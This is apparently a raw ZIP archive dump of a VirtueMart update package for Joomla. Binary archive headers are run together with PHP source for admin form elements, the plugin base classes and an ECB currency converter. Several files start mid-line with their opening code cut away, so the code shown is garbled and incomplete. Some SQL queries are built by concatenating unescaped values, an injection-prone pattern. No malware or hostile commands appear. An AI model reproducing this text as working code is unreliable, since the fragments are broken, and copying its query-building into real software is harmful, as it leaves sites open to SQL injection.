Wcom_virtuemart_update/administrator/components/com_virtuemart/elements/vmuploadfile.phpnuW+Aload ('com_virtuemart', JPATH_ADMINISTRATOR); // path to images directory $folder = $node->attributes ('directory'); $rel_path = str_replace ('/', DS, $folder); $path = JPATH_ROOT . DS . $rel_path; $filter = $node->attributes ('filter'); $exclude = array($node->attributes ('exclude'), '.svn', 'CVS', '.DS_Store', '__MACOSX', 'index.html'); $pattern = implode ( "|", $exclude); $stripExt = $node->attributes ('stripext'); if (!JFolder::exists ($path)) { return JText::sprintf ('COM_VIRTUEMART_FOLDER_NOT_EXIST', $node->attributes ('directory')); } $files = JFolder::files ($path, $filter, FALSE, FALSE, $exclude); $options = array(); if (!$node->attributes ('hide_none')) { $options[] = JHTML::_ ('select.option', '-1', '- ' . JText::_ ('Do not use') . ' -'); } if (!$node->attributes ('hide_default')) { $options[] = JHTML::_ ('select.option', '', '- ' . JText::_ ('Use default') . ' -'); } if (is_array ($files)) { foreach ($files as $file) { if ($exclude) { if (preg_match (chr (1) . $pattern . chr (1), $file)) { continue; } } if ($stripExt) { $file = JFile::stripExt ($file); } $options[] = JHTML::_ ('select.option', $file, $file); } } $class = ($node->attributes('class') ? 'class="' . $node->attributes('class') . '"' : ''); $class .= ' multiple="true" size="5" data-placeholder="'.JText::_('COM_VIRTUEMART_DRDOWN_SELECT_SOME_OPTIONS').'"'; return JHTML::_ ('select.genericlist', $options, '' . $control_name . '[' . $name . '][]', $class, 'value', 'text', $value, $control_name . $name); } } }PKtl>\##[com_virtuemart_update/administrator/components/com_virtuemart/elements/vmjpluginwarning.phpnuW+Aload('com_virtuemart',JPATH_ADMINISTRATOR); $option = JRequest::getWord('option'); if ($option == 'com_virtuemart') return null; else return JText::_('COM_VIRTUEMART_PLUGIN_WARNING'); } }PKtl>\r񿠖Wcom_virtuemart_update/administrator/components/com_virtuemart/elements/vmorderstate.phpnuW+Aattributes('class') ? 'class="' . $node->attributes('class') . '"' : ''); $db = JFactory::getDBO (); $query = 'SELECT `order_status_code` AS value, `order_status_name` AS text FROM `#__virtuemart_orderstates` WHERE `virtuemart_vendor_id` = 1 ORDER BY `ordering` ASC '; $db->setQuery ($query); $fields = $db->loadObjectList (); foreach ($fields as $field) { $field->text= JText::_ ($field->text); } return JHTML::_ ('select.genericlist', $fields, $control_name . '[' . $name . ']', $class, 'value', 'text', $value, $control_name . $name); } }PKtl>\TʜEQcom_virtuemart_update/administrator/components/com_virtuemart/elements/vmcurl.phpnuW+A\q'JWcom_virtuemart_update/administrator/components/com_virtuemart/elements/vmweightunit.phpnuW+Aattributes('class') ? 'class="' . $node->attributes('class') . '"' : ''); return ShopFunctions::renderWeightUnitList( $control_name . '[' . $name . ']', $value); } }PKtl>\Wcom_virtuemart_update/administrator/components/com_virtuemart/elements/vmcurrencies.phpnuW+AsetQuery($query); $currencies = $db->loadObjectList(); if(!class_exists('VirtueMartModelVendor')) require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'vendor.php'); $vendor_id = VirtueMartModelVendor::getLoggedVendor(); if (empty($value)) { $currency=VirtueMartModelVendor::getVendorCurrency ($vendor_id); $value= $currency->virtuemart_currency_id; } $class = ($node->attributes('class') ? 'class="' . $node->attributes('class') . '"' : ''); return JHTML::_('select.genericlist', $currencies, $control_name . '[' . $name . '][]', $class, 'value', 'text', $value, $control_name . $name); } }PKtl>\7NqHcom_virtuemart_update/administrator/components/com_virtuemart/config.xmlnuW+A
      PKtl>\L\P2Hcom_virtuemart_update/administrator/components/com_virtuemart/access.xmlnuW+A
      PKtl>\ F))Ycom_virtuemart_update/administrator/components/com_virtuemart/plugins/vmshopperplugin.phpnuW+A\Pcom_virtuemart_update/administrator/components/com_virtuemart/plugins/index.htmlnuW+APKtl>\^xJxJRcom_virtuemart_update/administrator/components/com_virtuemart/plugins/vmplugin.phpnuW+A_name = basename(__FILE, '.php'); // just as note: protected can be accessed only within the class itself and by inherited and parent classes //This is normal name of the plugin family, custom, payment protected $_psType = 0; //Id of the joomla table where the plugins are registered protected $_jid = 0; protected $_vmpItable = 0; //the name of the table to store plugin internal data, like payment logs protected $_tablename = 0; protected $_tableId = 'id'; //Name of the primary key of this table, for exampel virtuemart_calc_id or virtuemart_order_id protected $_tablepkey = 0; protected $_vmpCtable = 0; //the name of the table which holds the configuration like paymentmethods, shipmentmethods, customs protected $_configTable = 0; protected $_configTableFileName = 0; protected $_configTableClassName = 0; protected $_xParams = 0; protected $_varsToPushParam = array(); //id field of the config table protected $_idName = 0; //Name of the field in the configtable, which holds the parameters of the pluginmethod protected $_configTableFieldName = 0; protected $_debug = FALSE; protected $_loggable = FALSE; protected $_cryptedFields = false; /** * Constructor * * @param object $subject The object to observe * @param array $config An array that holds the plugin configuration * @since 1.5 */ function __construct (& $subject, $config) { parent::__construct ($subject, $config); $this->_psType = substr ($this->_type, 2); $filename = 'plg_' . $this->_type . '_' . $this->_name; $this->loadJLang($filename); if (!class_exists ('JParameter')) { require(JPATH_VM_LIBRARIES . DS . 'joomla' . DS . 'html' . DS . 'parameter.php'); } $this->_tablename = '#__virtuemart_' . $this->_psType . '_plg_' . $this->_name; $this->_tableChecked = FALSE; } public function loadJLang($fname,$type=0,$name=0){ $jlang =JFactory::getLanguage(); $tag = $jlang->getTag(); if(empty($type)) $type = $this->_type; if(empty($name)) $name = $this->_name; $path = $basePath = JPATH_PLUGINS.DS.$type.DS.$name; if(VmConfig::get('enableEnglish', true) and $tag!='en-GB'){ $testpath = $basePath.DS.'language'.DS.'en-GB'.DS.'en-GB.'.$fname.'.ini'; if(!file_exists($testpath)){ $epath = JPATH_ADMINISTRATOR; } else { $epath = $path; } $jlang->load($fname, $epath, 'en-GB'); } $testpath = $basePath.DS.'language'.DS.$tag.DS.$tag.'.'.$fname.'.ini'; if(!file_exists($testpath)){ $path = JPATH_ADMINISTRATOR; } $jlang->load($fname, $path,$tag,true); } function setPluginLoggable($set=TRUE){ $this->_loggable = $set; } function setCryptedFields($fieldNames){ $this->_cryptedFields = $fieldNames; } /** * @return array */ function getTableSQLFields () { return array(); } function getOwnUrl(){ if(JVM_VERSION!=1){ $url = '/plugins/'.$this->_type.'/'.$this->_name; } else{ $url = '/plugins/'.$this->_type; } return $url; } function display3rdInfo($intro,$developer,$contactlink,$manlink){ $logolink = $this->getOwnUrl() ; return shopfunctions::display3rdInfo($this->_name,$intro,$developer,$logolink,$contactlink,$manlink); } /** * Checks if this plugin should be active by the trigger * * @author Max Milbers * @param string $psType shipment,payment,custom * @param string the name of the plugin for example textinput, paypal * @param int/array $jid the registered plugin id(s) of the joomla table */ protected function selectedThis ($psType, $name = 0, $jid = 0) { if ($psType !== 0) { if ($psType != $this->_psType) { vmdebug ('selectedThis $psType does not fit'); return FALSE; } } if ($name !== 0) { if ($name != $this->_name) { vmdebug ('selectedThis $name ' . $name . ' does not fit pluginname ' . $this->_name); return FALSE; } } if ($jid === 0) { return FALSE; } else { if ($this->_jid === 0) { $this->getJoomlaPluginId (); } if (is_array ($jid)) { if (!in_array ($this->_jid, $jid)) { vmdebug ('selectedThis id ' . $jid . ' not in array does not fit ' . $this->_jid); return FALSE; } } else { if ($jid != $this->_jid) { vmdebug ('selectedThis $jid ' . $jid . ' does not fit ' . $this->_jid); return FALSE; } } } return TRUE; } /** * Checks if this plugin should be active by the trigger * * We should avoid this function, is expensive * * @author Max Milbers * @author Valérie Isaksen * * @param int/array $id the registered plugin id(s) of the joomla table */ function selectedThisByMethodId ($id = 'type') { //if($psType!=$this->_psType) return false; if ($id === 'type') { return TRUE; } else { $db = JFactory::getDBO (); if (JVM_VERSION === 1) { $q = 'SELECT vm.* FROM `' . $this->_configTable . '` AS vm, #__plugins AS j WHERE vm.`' . $this->_idName . '` = "' . $id . '" AND vm.' . $this->_psType . '_jplugin_id = j.id AND j.element = "' . $this->_name . '"'; } else { $q = 'SELECT vm.* FROM `' . $this->_configTable . '` AS vm, #__extensions AS j WHERE vm.`' . $this->_idName . '` = "' . $id . '" AND vm.' . $this->_psType . '_jplugin_id = j.extension_id AND j.element = "' . $this->_name . '"'; } $db->setQuery ($q); if (!$res = $db->loadObject ()) { // vmError('selectedThisByMethodId '.$db->getQuery()); return FALSE; } else { return $res; } } } /** * Checks if this plugin should be active by the trigger * * @author Max Milbers * @author Valérie Isaksen * @param int/array $jplugin_id the registered plugin id(s) of the joomla table */ protected function selectedThisByJPluginId ($jplugin_id = 'type') { if ($jplugin_id === 'type') { return TRUE; } else { $db = JFactory::getDBO (); if (JVM_VERSION === 1) { $q = 'SELECT vm.* FROM `' . $this->_configTable . '` AS vm, #__plugins AS j WHERE vm.`' . $this->_psType . '_jplugin_id` = "' . $jplugin_id . '" AND vm.' . $this->_psType . '_jplugin_id = j.id AND j.`element` = "' . $this->_name . '"'; } else { $q = 'SELECT vm.* FROM `' . $this->_configTable . '` AS vm, #__extensions AS j WHERE vm.`' . $this->_psType . '_jplugin_id` = "' . $jplugin_id . '" AND vm.`' . $this->_psType . '_jplugin_id` = j.extension_id AND j.`element` = "' . $this->_name . '"'; } $db->setQuery ($q); if (!$res = $db->loadObject ()) { // vmError('selectedThisByMethodId '.$db->getQuery()); return FALSE; } else { return $res; } } } /** * Gets the id of the joomla table where the plugin is registered * * @author Max Milbers */ final protected function getJoomlaPluginId () { if (!empty($this->_jid)) { return $this->_jid; } $db = JFactory::getDBO (); if (JVM_VERSION === 1) { $q = 'SELECT j.`id` AS c FROM #__plugins AS j WHERE j.element = "' . $this->_name . '" AND j.folder = "' . $this->_type . '"'; } else { $q = 'SELECT j.`extension_id` AS c FROM #__extensions AS j WHERE j.element = "' . $this->_name . '" AND j.`folder` = "' . $this->_type . '"'; } $db->setQuery ($q); $this->_jid = $db->loadResult (); if (!$this->_jid) { vmError ('getJoomlaPluginId ' . $db->getErrorMsg ()); return FALSE; } else { return $this->_jid; } } /** * Create the table for this plugin if it does not yet exist. * * @param string $psType shipment,payment,custom * @author Valérie Isaksen * @author Max Milbers */ protected function onStoreInstallPluginTable ($psType,$name=FALSE) { if(!empty($name) and $name!=$this->_name){ return false; } //Todo the psType should be name of the plugin. if ($psType == $this->_psType) { $query = $this->getVmPluginCreateTableSQL (); if(empty($query)){ return false; } else { //if ($query !== 0) { // vmdebug('onStoreInstallPluginTable '.$query); $db = JFactory::getDBO (); $db->setQuery ($query); if (!$db->query ()) { JError::raiseWarning (1, $this->_name . '::onStoreInstallPluginTable: ' . JText::_ ('COM_VIRTUEMART_SQL_ERROR') . ' ' . $db->stderr (TRUE)); echo $this->_name . '::onStoreInstallPluginTable: ' . JText::_ ('COM_VIRTUEMART_SQL_ERROR') . ' ' . $db->stderr (TRUE); } else { return true; } } } return false; } /** * adds loggable fields to the table * * @return array */ function getTableSQLLoggablefields () { return array( 'created_on' => 'datetime NOT NULL default \'0000-00-00 00:00:00\'', 'created_by' => "int(11) NOT NULL DEFAULT '0'", 'modified_on' => 'datetime NOT NULL DEFAULT \'0000-00-00 00:00:00\'', 'modified_by' => "int(11) NOT NULL DEFAULT '0'", 'locked_on' => 'datetime NOT NULL DEFAULT \'0000-00-00 00:00:00\'', 'locked_by' => 'int(11) NOT NULL DEFAULT \'0\'' ); } /** * @param $tableComment * @return string */ protected function createTableSQL ($tableComment,$tablesFields=0) { $query = "CREATE TABLE IF NOT EXISTS `" . $this->_tablename . "` ("; if(!empty($tablesFields)){ foreach ($tablesFields as $fieldname => $fieldtype) { $query .= '`' . $fieldname . '` ' . $fieldtype . " , "; } } else { $SQLfields = $this->getTableSQLFields (); $loggablefields = $this->getTableSQLLoggablefields (); foreach ($SQLfields as $fieldname => $fieldtype) { $query .= '`' . $fieldname . '` ' . $fieldtype . " , "; } foreach ($loggablefields as $fieldname => $fieldtype) { $query .= '`' . $fieldname . '` ' . $fieldtype . ", "; } } $query .= " PRIMARY KEY (`id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='" . $tableComment . "' AUTO_INCREMENT=1 ;"; return $query; } /** * Set with this function the provided plugin parameters * * @param string $paramsFieldName * @param array $varsToPushParam */ function setConfigParameterable ($paramsFieldName, $varsToPushParam) { $this->_varsToPushParam = $varsToPushParam; $this->_xParams = $paramsFieldName; } /** * @param $name * @param $id * @param $table * @return bool */ protected function setOnTablePluginParams ($name, $id, &$table) { //Todo I think a test on this is wrong here //Adjusted it like already done in declarePluginParams if (!empty($this->_psType) and !$this->selectedThis ($this->_psType, $name, $id)) { return FALSE; } else { if($this->_cryptedFields){ $table->setCryptedFields($this->_cryptedFields); } $table->setParameterable ($this->_xParams, $this->_varsToPushParam); return TRUE; } } /** * @param $psType * @param $name * @param $id * @param $data * @return bool */ protected function declarePluginParams ($psType, $name, $id, &$data) { //vmdebug('declarePluginParams '.$this->_psType.' '.$psType); //Todo I know a test only on seledtThis is wrong here, it works now with extra !empty($this->_psType) if(!empty($this->_psType) and !$this->selectedThis($psType,$name,$id)){ return FALSE; } if (!class_exists ('VmTable')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'vmtable.php'); } VmTable::bindParameterable ($data, $this->_xParams, $this->_varsToPushParam); if($this->_cryptedFields){ $data->setCryptedFields($this->_cryptedFields); } return TRUE; // vmdebug('getDeclaredPluginParams return '.$this->_xParams); // return array($this->_xParams,$this->_varsToPushParam); // } else { // return false; // } } /** * @param $int * @return mixed */ protected function getVmPluginMethod ($int, $cache = true) { if ($this->_vmpCtable === 0 || !$cache) { $db = JFactory::getDBO (); if (!class_exists ($this->_configTableClassName)) { require(JPATH_VM_ADMINISTRATOR . DS . 'tables' . DS . $this->_configTableFileName . '.php'); } $this->_vmpCtable = new $this->_configTableClassName($db); if ($this->_xParams !== 0) { $this->_vmpCtable->setParameterable ($this->_xParams, $this->_varsToPushParam); } if($this->_cryptedFields){ $this->_vmpCtable->setCryptedFields($this->_cryptedFields); } // $this->_vmpCtable = $this->createPluginTableObject($this->_tablename,$this->tableFields,$this->_loggable); } return $this->_vmpCtable->load ($int); } /** * This stores the data of the plugin, attention NOT the configuration of the pluginmethod, * this function should never be triggered only called from triggered functions. * * @author Max Milbers * @param array $values array or object with the data to store * @param string $tableName When different then the default of the plugin, provid it here * @param string $tableKey an additionally unique key */ protected function storePluginInternalData (&$values, $primaryKey = 0, $id = 0, $preload = FALSE) { if ($primaryKey === 0) { $primaryKey = $this->_tablepkey; } if ($this->_vmpItable === 0 or $id==0) { $this->_vmpItable = $this->createPluginTableObject ($this->_tablename, $this->tableFields, $primaryKey, $this->_tableId, $this->_loggable); } $this->_vmpItable->bindChecknStore ($values, $preload); //vmdebug('storePluginInternalData',$values,$this->_vmpItable); $errors = $this->_vmpItable->getErrors (); if (!empty($errors)) { foreach ($errors as $error) { vmError ($error); } } return $values; } /** * This loads the data stored by the plugin before, NOT the configuration of the method, * this function should never be triggered only called from triggered functions. * * @param int $id * @param string $primaryKey */ protected function getPluginInternalData ($id, $primaryKey = 0) { if ($primaryKey === 0) { $primaryKey = $this->_tablepkey; } if ($this->_vmpItable === 0) { $this->_vmpItable = $this->createPluginTableObject ($this->_tablename, $this->tableFields, $primaryKey, $this->_tableId, $this->_loggable); } // vmdebug('getPluginInternalData $id '.$id.' and $primaryKey '.$primaryKey); return $this->_vmpItable->load ($id); } /** * @param $tableName * @param $tableFields * @param $primaryKey * @param $tableId * @param bool $loggable * @return VmTableData */ protected function createPluginTableObject ($tableName, $tableFields, $primaryKey, $tableId, $loggable = FALSE) { if (!class_exists ('VmTableData')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'vmtabledata.php'); } $db = JFactory::getDBO (); $table = new VmTableData($tableName, $tableId, $db); foreach ($tableFields as $field) { $table->$field = 0; } if ($primaryKey !== 0) { $table->setPrimaryKey ($primaryKey); } if ($loggable) { $table->setLoggable (); } if($this->_cryptedFields){ $this->_vmpCtable->setCryptedFields($this->_cryptedFields); } if (!$this->_tableChecked) { $this->onStoreInstallPluginTable ($this->_psType); $this->_tableChecked = TRUE; } return $table; } /** * @param $id * @param int $primaryKey * @return mixed */ protected function removePluginInternalData ($id, $primaryKey = 0) { if ($primaryKey === 0) { $primaryKey = $this->_tablepkey; } if ($this->_vmpItable === 0) { $this->_vmpItable = $this->createPluginTableObject ($this->_tablename, $this->tableFields, $primaryKey, $this->_tableId, $this->_loggable); } vmdebug ('removePluginInternalData $id ' . $id . ' and $primaryKey ' . $primaryKey); return $this->_vmpItable->delete ($id); } /** * Get the path to a layout for a type * * @param string $type The name of the type * @param string $layout The name of the type layout. If alternative * layout, in the form template:filename. * @param array $viewData The data you want to use in the layout * can be an object/array/string... to reuse in the template * @return string The path to the type layout * original from libraries\joomla\application\module\helper.php * @since 11.1 * @author Patrick Kohl, Valérie Isaksen */ public function renderByLayout ($layout = 'default', $viewData = NULL, $name = NULL, $psType = NULL) { if ($name === NULL) { $name = $this->_name; } if ($psType === NULL) { $psType = $this->_psType; } $layout = vmPlugin::_getLayoutPath ($name, 'vm' . $psType, $layout); ob_start (); include ($layout); return ob_get_clean (); } /** * Note: We have 2 subfolders for versions > J15 for 3rd parties developers, to avoid 2 installers * * @author Patrick Kohl, Valérie Isaksen */ private function _getLayoutPath ($pluginName, $group, $layout = 'default') { $app = JFactory::getApplication (); // get the template and default paths for the layout if (JVM_VERSION === 2) { $templatePath = JPATH_SITE . DS . 'templates' . DS . $app->getTemplate () . DS . 'html' . DS . $group . DS . $pluginName . DS . $layout . '.php'; $defaultPath = JPATH_SITE . DS . 'plugins' . DS . $group . DS . $pluginName . DS . $pluginName . DS . 'tmpl' . DS . $layout . '.php'; } else { $templatePath = JPATH_SITE . DS . 'templates' . DS . $app->getTemplate () . DS . 'html' . DS . $group . DS . $pluginName . DS . $layout . '.php'; $defaultPath = JPATH_SITE . DS . 'plugins' . DS . $group . DS . $pluginName . DS . 'tmpl' . DS . $layout . '.php'; } // if the site template has a layout override, use it jimport ('joomla.filesystem.file'); if (JFile::exists ($templatePath)) { return $templatePath; } else { return $defaultPath; } } } PKtl>\/Ǿgcom_virtuemart_update/administrator/components/com_virtuemart/plugins/currency_converter/convertECB.phpnuW+Alifetime; $cache->setLifeTime(86400/4); // check 4 time per day // save cache conf $conf = JFactory::getConfig(); // check if cache is enabled in configuration $cacheactive = $conf->getValue('config.caching'); $cache->setCaching(1); //enable caching $globalCurrencyConverter = $cache->call( array( 'convertECB', 'getSetExchangeRates' ),$this->document_address ); // revert configuration $cache->setCaching($cacheactive); if(!$globalCurrencyConverter ){ //vmdebug('convert convert No $globalCurrencyConverter convert '.$amountA); return $amountA; } else { $valA = isset( $globalCurrencyConverter[$currA] ) ? $globalCurrencyConverter[$currA] : 1.0; $valB = isset( $globalCurrencyConverter[$currB] ) ? $globalCurrencyConverter[$currB] : 1.0; $val = (float)$amountA * (float)$valB / (float)$valA; //vmdebug('convertECB with '.$currA.' '.$amountA.' * '.$valB.' / '.$valA.' = '.$val,$globalCurrencyConverter[$currA]); return $val; } } static function getSetExchangeRates($ecb_filename){ $archive = true; setlocale(LC_TIME, "en-GB"); $now = time() + 3600; // Time in ECB (Germany) is GMT + 1 hour (3600 seconds) if (date("I")) { $now += 3600; // Adjust for daylight saving time } $weekday_now_local = gmdate('w', $now); // week day, important: week starts with sunday (= 0) !! $date_now_local = gmdate('Ymd', $now); $time_now_local = gmdate('Hi', $now); $time_ecb_update = '1415'; if( is_writable(JPATH_BASE.DS.'cache') ) { $store_path = JPATH_BASE.DS.'cache'; } else { $store_path = JPATH_SITE.DS.'media'; } $archivefile_name = $store_path.'/daily.xml'; $val = ''; if(file_exists($archivefile_name) && filesize( $archivefile_name ) > 0 ) { // timestamp for the Filename $file_datestamp = date('Ymd', filemtime($archivefile_name)); // check if today is a weekday - no updates on weekends if( date( 'w' ) > 0 && date( 'w' ) < 6 // compare filedate and actual date && $file_datestamp != $date_now_local // if localtime is greater then ecb-update-time go on to update and write files && $time_now_local > $time_ecb_update) { $curr_filename = $ecb_filename; } else { $curr_filename = $archivefile_name; $last_updated = $file_datestamp; $archive = false; } } else { $curr_filename = $ecb_filename; } if( !is_writable( $store_path )) { $archive = false; vmError( "The file $archivefile_name can't be created. The directory $store_path is not writable" ); } // JError::raiseNotice(1, "The file $archivefile_name should be in the directory $store_path " ); if( $curr_filename == $ecb_filename ) { // Fetch the file from the internet if(!class_exists('VmConnector')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'connection.php'); // JError::raiseNotice(1, "Updating currency " ); if (!$contents = VmConnector::handleCommunication( $curr_filename )) { if (isset($file_datestamp)) { $contents = @file_get_contents( $curr_filename ); } } else $last_updated = date('Ymd'); } else { $contents = @file_get_contents( $curr_filename ); } if( $contents ) { // if archivefile does not exist if( $archive ) { // now write new file file_put_contents( $archivefile_name, $contents ); } $contents = str_replace (" loadXML($contents) ) { //todo vmError('Failed to parse the Currency Converter XML document.'); vmError('The content: '.$contents); // $GLOBALS['product_currency'] = $vendor_currency; return false; } $currency_list = $xmlDoc->getElementsByTagName( "Cube" ); // Loop through the Currency List $length = $currency_list->length; for ($i = 0; $i < $length; $i++) { $currNode = $currency_list->item($i); if(!empty($currNode) && !empty($currNode->attributes->getNamedItem("currency")->nodeValue)){ $currency[$currNode->attributes->getNamedItem("currency")->nodeValue] = $currNode->attributes->getNamedItem("rate")->nodeValue; unset( $currNode ); } } $globalCurrencyConverter = $currency; } else { $globalCurrencyConverter = false; vmError( 'Failed to retrieve the Currency Converter XML document.'); // return false; } return $globalCurrencyConverter; } } // pure php no closing tag PKtl>\ilgcom_virtuemart_update/administrator/components/com_virtuemart/plugins/currency_converter/convertECB.xmlnuW+A ECB Currency Converter 28. January 2008 GNU/GPL http://joomlacode.org/gf/project/jmart/ 1.0 Currency Converter Plugin, based on Rates from the European Central Bank convertECB convertECB.php PKtl>\ccom_virtuemart_update/administrator/components/com_virtuemart/plugins/currency_converter/index.htmlnuW+APKtl>\)bcom_virtuemart_update/administrator/components/com_virtuemart/plugins/currency_converter/.htaccessnuW+A Order allow,deny Deny from all PKtl>\oixxTcom_virtuemart_update/administrator/components/com_virtuemart/plugins/vmpsplugin.phpnuW+A_tablepkey = 'id'; //virtuemart_order_id'; $this->_idName = 'virtuemart_' . $this->_psType . 'method_id'; $this->_configTable = '#__virtuemart_' . $this->_psType . 'methods'; $this->_configTableFieldName = $this->_psType . '_params'; $this->_configTableFileName = $this->_psType . 'methods'; $this->_configTableClassName = 'Table' . ucfirst ($this->_psType) . 'methods'; //TablePaymentmethods // $this->_configTableIdName = $this->_psType.'_jplugin_id'; $this->_loggable = TRUE; $this->_tableChecked = TRUE; } public function getVarsToPush () { $black_list = array('spacer'); $data = array(); if (JVM_VERSION === 2) { $filename = JPATH_SITE . '/plugins/' . $this->_type . '/' . $this->_name . '/' . $this->_name . '.xml'; } else { $filename = JPATH_SITE . '/plugins/' . $this->_type . '/' . $this->_name . '.xml'; } // Check of the xml file exists $filePath = JPath::clean ($filename); if (is_file ($filePath)) { $xml = JFactory::getXMLParser ('simple'); $result = $xml->loadFile ($filename); if ($result) { if ($params = $xml->document->params) { foreach ($params as $param) { if ($param->_name = "params") { if ($children = $param->_children) { foreach ($children as $child) { if (isset($child->_attributes['name'])) { $data[$child->_attributes['name']] = array('', 'char'); $result = TRUE; } } } } } } } } return $data; } /** * check if it is the correct type * * @param string $psType either payment or shipment * @return boolean */ public function selectedThisType ($psType) { if ($this->_psType <> $psType) { return FALSE; } else { return TRUE; } } /** * Create the table for this plugin if it does not yet exist. * This functions checks if the called plugin is active one. * When yes it is calling the standard method to create the tables * * @author Valérie Isaksen * */ protected function onStoreInstallPluginTable ($jplugin_id, $name = FALSE) { if ($res = $this->selectedThisByJPluginId ($jplugin_id)) { parent::onStoreInstallPluginTable ($this->_psType); } return $res; } /** * This event is fired after the payment method has been selected. It can be used to store * additional payment info in the cart. * * @author Max Milbers * @author Valérie isaksen * * @param VirtueMartCart $cart: the actual cart * @return null if the payment was not selected, true if the data is valid, error message if the data is not vlaid * */ public function onSelectCheck (VirtueMartCart $cart) { $idName = $this->_idName; //vmdebug('OnSelectCheck',$idName); if (!$this->selectedThisByMethodId ($cart->$idName)) { return NULL; // Another method was selected, do nothing } return TRUE; // this method was selected , and the data is valid by default } /** * displayListFE * This event is fired to display the pluginmethods in the cart (edit shipment/payment) for example * * @param object $cart Cart object * @param integer $selected ID of the method selected * @return boolean True on success, false on failures, null when this plugin was not selected. * On errors, JError::raiseWarning (or JError::raiseError) must be used to set a message. * * @author Valerie Isaksen * @author Max Milbers */ public function displayListFE (VirtueMartCart $cart, $selected = 0, &$htmlIn) { if ($this->getPluginMethods ($cart->vendorId) === 0) { if (empty($this->_name)) { vmAdminInfo ('displayListFE cartVendorId=' . $cart->vendorId); $app = JFactory::getApplication (); $app->enqueueMessage (JText::_ ('COM_VIRTUEMART_CART_NO_' . strtoupper ($this->_psType))); return FALSE; } else { return FALSE; } } $html = array(); $method_name = $this->_psType . '_name'; foreach ($this->methods as $method) { if ($this->checkConditions ($cart, $method, $cart->pricesUnformatted)) { //$methodSalesPrice = $this->calculateSalesPrice ($cart, $method, $cart->pricesUnformatted); /* Because of OPC: the price must not be overwritten directly in the cart */ $pricesUnformatted= $cart->pricesUnformatted; $methodSalesPrice = $this->setCartPrices ($cart, $pricesUnformatted,$method); $method->$method_name = $this->renderPluginName ($method); $html [] = $this->getPluginHtml ($method, $selected, $methodSalesPrice); } } if (!empty($html)) { $htmlIn[] = $html; return TRUE; } return FALSE; } /* * onSelectedCalculatePrice * Calculate the price (value, tax_id) of the selected method * It is called by the calculator * This function does NOT to be reimplemented. If not reimplemented, then the default values from this function are taken. * @author Valerie Isaksen * @cart: VirtueMartCart the current cart * @cart_prices: array the new cart prices * @return null if the method was not selected, false if the shipping rate is not valid any more, true otherwise * */ public function onSelectedCalculatePrice (VirtueMartCart $cart, array &$cart_prices, &$cart_prices_name) { $id = $this->_idName; //vmTime('onSelectedCalculatePrice before test '.$cart->$id,'prepareCartData'); if (!($method = $this->selectedThisByMethodId ($cart->$id))) { return NULL; // Another method was selected, do nothing } if (!($method = $this->getVmPluginMethod ($cart->$id))) { return NULL; } $cart_prices_name = ''; $cart_prices['cost'] = 0; if (!$this->checkConditions ($cart, $method, $cart_prices)) { return FALSE; } $cart_prices_name = $this->renderPluginName ($method); $this->setCartPrices ($cart, $cart_prices, $method); return TRUE; } /** * onCheckAutomaticSelected * Checks how many plugins are available. If only one, the user will not have the choice. Enter edit_xxx page * The plugin must check first if it is the correct type * * @author Valerie Isaksen * @param VirtueMartCart cart: the cart object * @return null if no plugin was found, 0 if more then one plugin was found, virtuemart_xxx_id if only one plugin is found * */ function onCheckAutomaticSelected (VirtueMartCart $cart, array $cart_prices = array(), &$methodCounter = 0) { $virtuemart_pluginmethod_id = 0; $nbMethod = $this->getSelectable ($cart, $virtuemart_pluginmethod_id, $cart_prices); $methodCounter += $nbMethod; if ($nbMethod == NULL) { return NULL; } else { if ($nbMethod == 1) { return $virtuemart_pluginmethod_id; } else { return 0; } } } /** * This method is fired when showing the order details in the frontend. * It displays the method-specific data. * * @param integer $order_id The order ID * @return mixed Null for methods that aren't active, text (HTML) otherwise * @author Max Milbers * @author Valerie Isaksen */ protected function onShowOrderFE ($virtuemart_order_id, $virtuemart_method_id, &$method_info) { if (!($this->selectedThisByMethodId ($virtuemart_method_id))) { return NULL; } $method_info = $this->getOrderMethodNamebyOrderId ($virtuemart_order_id); } /** * * @author Valerie Isaksen * @author Max Milbers * @param int $virtuemart_order_id * @return string pluginName from the plugin table */ private function getOrderMethodNamebyOrderId ($virtuemart_order_id) { $db = JFactory::getDBO (); $q = 'SELECT * FROM `' . $this->_tablename . '` ' . 'WHERE `virtuemart_order_id` = ' . $virtuemart_order_id; $db->setQuery ($q); $err =$db->getErrorMsg (); if (!($pluginInfo = $db->loadObject ())) { vmdebug ('Attention, ' . $this->_tablename . ' has not any entry for order_id = '.$virtuemart_order_id); if(!empty($err)){ vmWarn ('Attention, ' . $this->_tablename . ' has not any entry for order_id = '.$virtuemart_order_id. ' err = '.$err); } return NULL; } $idName = $this->_psType . '_name'; return $pluginInfo->$idName; } /** * * @author Valerie Isaksen * @author Max Milbers * @param int $virtuemart_order_id * @return string pluginName from the plugin table */ private function getOrderPluginNamebyOrderId ($virtuemart_order_id) { $db = JFactory::getDBO (); $q = 'SELECT * FROM `' . $this->_tablename . '` ' . 'WHERE `virtuemart_order_id` = ' . $virtuemart_order_id; $db->setQuery ($q); if (!($pluginInfo = $db->loadObject ())) { vmWarn (500, $q . " getOrderPluginNamebyOrderId " . $db->getErrorMsg ()); return NULL; } $idName = $this->_idName; return $pluginInfo->$idName; } /** * check if it is the correct element * * @param string $element either standard or paypal * @return boolean */ public function selectedThisElement ($element) { if ($this->_name <> $element) { return FALSE; } else { return TRUE; } } /** * This method is fired when showing the order details in the backend. * It displays the the payment method-specific data. * All plugins *must* reimplement this method. * * @param integer $_virtuemart_order_id The order ID * @param integer $_paymethod_id Payment method used for this order * @return mixed Null when for payment methods that were not selected, text (HTML) otherwise * @author Max Milbers * @author Valerie Isaksen */ function onShowOrderBE ($_virtuemart_order_id, $_method_id) { return NULL; } /** * This method is fired when showing when priting an Order * It displays the the payment method-specific data. * * @param integer $_virtuemart_order_id The order ID * @param integer $method_id method used for this order * @return mixed Null when for payment methods that were not selected, text (HTML) otherwise * @author Valerie Isaksen */ function onShowOrderPrint ($order_number, $method_id) { if (!$this->selectedThisByMethodId ($method_id)) { return NULL; // Another method was selected, do nothing } if (!($order_name = $this->getOrderPluginName ($order_number, $method_id))) { return NULL; } VmConfig::loadJLang('com_virtuemart'); $html = '' . "\n" . ' ' . "\n" . ' ' . "\n" . ' ' . "\n" . ' ' . "\n" . ' ' . "\n" . 